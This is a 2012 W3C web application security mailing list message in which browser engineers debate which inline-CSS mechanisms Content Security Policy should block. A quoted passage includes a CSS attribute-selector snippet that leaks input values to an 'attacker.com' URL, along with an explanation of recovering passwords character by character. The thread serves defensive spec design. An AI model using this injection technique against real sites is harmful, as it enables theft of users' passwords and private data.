W3C home > Mailing lists > Public > public-webappsec@w3.org > October 2012

Re: CSP and inline styles

From: Jonas Sicking <jonas@sicking.cc>
Date: Tue, 23 Oct 2012 15:25:25 -0700
Message-ID: <CA+c2ei9fcyvTuaUVa8gKRdvoTtUbSb1qrAt90HydQYkHmD8Ong@mail.gmail.com>
To: Adam Barth <w3c@adambarth.com>, Boris Zbarsky <bzbarsky@mozilla.com>
Cc: Ian Melven <imelven@mozilla.com>, public-webappsec@w3.org
On Tue, Oct 23, 2012 at 12:02 PM, Adam Barth <w3c@adambarth.com> wrote:
> On Tue, Oct 23, 2012 at 11:33 AM, Jonas Sicking <jonas@sicking.cc> wrote:
>> On Mon, Oct 22, 2012 at 10:40 PM, Adam Barth <w3c@adambarth.com> wrote:
>>> On Mon, Oct 22, 2012 at 4:50 PM, Jonas Sicking <jonas@sicking.cc> wrote:
>>>> On Mon, Oct 22, 2012 at 3:28 PM, Adam Barth <w3c@adambarth.com> wrote:
>>>>> On Mon, Oct 22, 2012 at 3:02 PM, Ian Melven <imelven@mozilla.com> wrote:
>>>>>> As part of our work to implement the CSP 1.0 spec in Gecko (https://bugzilla.mozilla.org/show_bug.cgi?id=663566),
>>>>>> we have been looking at what we need to do to block inline styles (https://bugzilla.mozilla.org/show_bug.cgi?id=763879)
>>>>>>
>>>>>> The reason for this post is that we need more discussion among the WG (and possible clearer guidance in the spec) as to what
>>>>>> threats blocking styles is intended to address and what threats are considered out of scope for this
>>>>>> restriction (eg if it's intended to stop data exfiltration).
>>>>>
>>>>> The main threat we're trying to protect against is attackers who can
>>>>> inject markup into a document using CSS3 attribute selectors to steal
>>>>> passwords (and other data) store in input element attributes.  Also,
>>>>> we're worried about future evolution of CSS increasing this risk.
>>>>
>>>> Do you have any pointers to how this would work?
>>>
>>> I couldn't find a good reference, so I'll try my best to explain.  The
>>> underlying problem is that CSS3 attribute selectors are too powerful.
>>> Consider the following document:
>>>
>>> <style>
>>> input[value^="sec"] { background-color: url(https://attacker.com/q?sec) }
>>> </style>
>>> <input value="secret">
>>>
>>> Using <style>, the attacker can determine that the input element
>>> contains a word that starts with the letters "sec".  Now, imagine
>>> doing this one letter at a time.  After around 26 guesses, the
>>> attacker can determine the first letter "s".  Then he or she works on
>>> the second character by checking "sa", "sb", "sc", etc.  In this way,
>>> the attacker can figure out the full value of the input element.
>>>
>>> Using other tricks, the attacker can actually do many of these queries
>>> in parallel, but hopefully the above approach gives you the idea.
>>
>> I see. So in this context we are assuming that the attacked page
>
> You might not have completed your thought here.

Oops.

So the attack here is that an attacker can inject CSS on multiple
occasions and that the page contains the same data to be stolen every
time. The first time you inject enough CSS that you can steal the
first couple of letters (would need a lot of rules, but assuming that
the text is english you might be able to get reasonably high chances).
You then use that information to generate the next set of CSS rules to
inject and thus steal letters 3 and 4. Iterating that you can
eventually steal the whole password.

I agree that this is dangerous and so it makes sense to protect against it.

Though note that an even simpler attack is to inject an attr() value
into the value. Based on the current spec, it's somewhat hard to steal
data in the general case. However if the spec for url() values change
such that you can define a baseuri, or if the spec for attr() changes
such that you can do basic transformations such as concatenation, then
this immediately becomes more doable.

>>>> Why aren't we also worried about phone-home attacks where an attacker
>>>> can cause a network request to happen where the URL contains private
>>>> data from the page. I.e. the attack from:
>>>>
>>>> http://scarybeastsecurity.blogspot.com.es/2009/12/generic-cross-browser-cross-domain.html
>>>
>>> That's an entirely different sort of attack, and one that is no longer
>>> possible in modern browsers because we've fixed it.
>>
>> How?
>
> For cross-origin CSS loads, browsers now require either that (1) the
> style sheet has the proper MIME type or (2) the style sheet parses
> without errors.  In an ideal world, we'd require (1) all the time, but
> adding (2) was necessary to make the change compatible with the web.
> We can check with Chris, but my understanding is that every browser
> does this now, including IE.

I don't think that that would have helped in this particular instance.
This example put the data from the page inside a quoted URL and so as
long as that data didn't contain any quotes, the generated resulting
CSS would have been quite valid.

>>>> Simply relying on default-src doesn't seem great. Maybe treating those
>>>> as style-src would reduce the attack surface here.
>>>
>>> We're talking about entirely different classes of attacks.
>>
>> If the different classes of attacks can result in the same thing, i.e.
>> that private data (such as passwords) can be stolen from a page by
>> using CSS to cause network requests to send data to an attacker, then
>> it seems appropriate to discuss both classes, no?
>
> Can you describe the attack you're worried about?

The attack I'm worried about is very similar to the password stealing
attack. In the password stealing attack, the attacker injects CSS into
the webpage which cause network requests to an attacker provided
server. The URL of the request contains information which contains
information from the webpage (or allows the attacker to deduce
information that was contained in the webpage).

Technically, CSP features like img-src or font-src can stop the
attack. I.e. we technically could allow *all* types of inline CSS
while still making it possible for a webpage to prevent the password
stealing attack. All the page has to do is to set all the *-src rules
correctly.

However, apparently we don't want to rely on people setting all of
their img-src etc rules correctly.

Likewise, we've also shown that we are worried about pages containing code like

x = getUntrustedData();
eval(x);

We are worried about this because despite the fact that this requires
poorly written javascript code, we know that people don't always write
perfect javascript. So we are worried about javascript code taking
string data from an untrusted code and then parsing it into harmful
content. In the example above, worried about it parsing it into
executable javascript.

The attack I'm worried about is basically the combination of the above
two threats. I'm worried about is a webpage containing code like:

x = getUntrustedData();
object.cssProperty = x;

where this parses x into content that results in a network request
which sends a network request to an attacker-provided server. And
where the URL of the request contains information from the webpage.

Again, a properly formatted CSP policy would use *-src, to prevent the
network request from going out. But we are apparently not sure that
people will always get that right. I'm especially unconvinced that
people will get that right if they have to set img-src, style-src,
font-src, shaderprograms-src and filters-src correctly. And that they
have to add fancynewfeature-src once we add additional capabilities to
CSS.

>>>>>> Additionally, we could really use clarification in the spec as to what methods of applying CSS should be blocked in a CSP 1.0 compliant UA
>>>>>> (and this would hopefully lead to more consistency across implementations).
>>>>>>
>>>>>> Previously on this mailing list, we discussed blocking mechanisms that apply CSS that
>>>>>> are equivalent to inserting and parsing a <style> node in the DOM.
>>>>>>
>>>>>> Specifically, we considered the following list of ways to apply CSS:
>>>>>> (from https://bugzilla.mozilla.org/show_bug.cgi?id=763879#c26)
>>>>>
>>>>> I've taken the liberty of re-arranging the order of your list.
>>>>>
>>>>>> * doc.body.appendChild(doc.createElement("style"));
>>>>>> * doc.body.setAttribute("style", "...");
>>>>>> * doc.body.innerHTML = "<style>...</style>";
>>>>>
>>>>> These are blocked.
>>>>
>>>> doc.body.style.cssText also belongs here, right?
>>>
>>> No.  Nothing in the CSSOM is blocked.  Only things in the DOM.
>>
>> Why. It makes absolutely no sense to block
>> doc.body.setAttribute("style", X) if we don't also block
>> doc.body.style.cssText = X. The two are just different syntaxes for
>> exactly the same thing. Both set the "style" attribute of the element
>> to X.
>>
>> Whether something lives in the CSSOM spec or the DOM spec is just an
>> editorial different. Users will be just as sad when their data is
>> stolen.
>
> It sounds like you agree with Boris.  Are you happy with the proposed
> change in <http://lists.w3.org/Archives/Public/public-webappsec/2012Oct/0058.html>?
>
>> If the *only* thing that we are concerned about is the password
>> stealing attack, then there's no reason to block any form of style
>> attributes since they can't include rules which read attribute values.
>> Only inline style elements would need to be blocked.
>
> This issue is discussed a bit in
> <http://lists.w3.org/Archives/Public/public-webappsec/2012Sep/0068.html>.
>
> Note, in particular, Boris's reply
> <http://lists.w3.org/Archives/Public/public-webappsec/2012Sep/0069.html>:
>
> [[
> For now.  Until people add selectors to inline styles.  There have been
> several proposals for that.
> ]]

The concern in the quote is a concern that I share. Note that if this
were to happen, then code like:

element.style.cssText = X;

would allow injecting the password stealing attack.

>>> The reason is that the spec has to draw a line somewhere.  The line
>>> drawn in the spec has the following two advantages:
>>>
>>> 1) It is consistent with how we treat inline event handlers for
>>> script-src (e.g., we block setAttribute("style", ...) the same way we
>>> block setAttribute("onclick", ...)).
>>>
>>> 2) The line doesn't distinguish between DOM operations performed by
>>> the HTML parser and DOM operations performed by the page.
>>
>> We should draw a line based on what types of attacks can be launched,
>> and how likely it is that such attacks will be successful.
>
> I agree.  However, it's also important to draw a conceptually simple
> line because we're asking developers to understand where we've drawn
> the line.  From this thread, it seems clear that the line in the
> current spec isn't as simple as I had hoped.  :)
>
> Hopefully you're happy with Boris's proposal.  If not, it might be
> more productive for you two to hash it down and make a joint proposal.

I'm not sure that I understand how we'd express this in terms of
selector specificity. I'd be just as concerned about someone doing

x = getUntrustedData();
document.styleSheets[5].cssRules[7].cssText = x;

Would the proposal stop that?

I agree that we need to draw a line somewhere. For javascript we drew
a line at any feature which allows parsing a string into javascript
code.

My proposal is to do two things:

First, draw a line at any feature which allows parsing a string into
an arbitrary collection of CSS properties is considered "inline css".
I.e. something like:

element.style.background = x;

can't parse x into arbitrary CSS properties. It can only parse it into
fixed set of background related properties. Whereas the following two:

element.style.cssText = x;
element.setAttribute("style", y);

would both be considered inline CSS since they can cause an unbounded
set of properties to be set, making it very unclear what actually can
happen.

This way it's hopefully more clear to the author what code can set
properties which can cause network requests, and which ones can't.

To further make it harder for people to write too lose *-src rules, I
would say that resources which are stylistic should by default be
limited to style-src. So if a page uses a CSP policy which says
"style-src: myserver.com" we should limit font requests, SVG-filter
requests, shaderprogram requests, etc to myserver.com. However if the
policy is "style-src: myserver.com, font-src: fonthouse.com" then we'd
limit font requests to fonthouse.com and svg-filter requests and
shaderprogram requests to myserver.com.

If we in the future add explicit rules for shader programs and svg
filters, then those would allow authors to override style-src.

I'd actually even be ok with making img-src default to style-src, but
I suspect that's too big of a change to pass at this point. It's
arguably also more well known to authors that images can cause network
requests than that shader programs, fonts and filters can cause
requests.

/ Jonas
Received on Tuesday, 23 October 2012 22:26:24 GMT

This archive was generated by hypermail 2.2.0+W3C-0.50 : Tuesday, 23 October 2012 22:26:24 GMT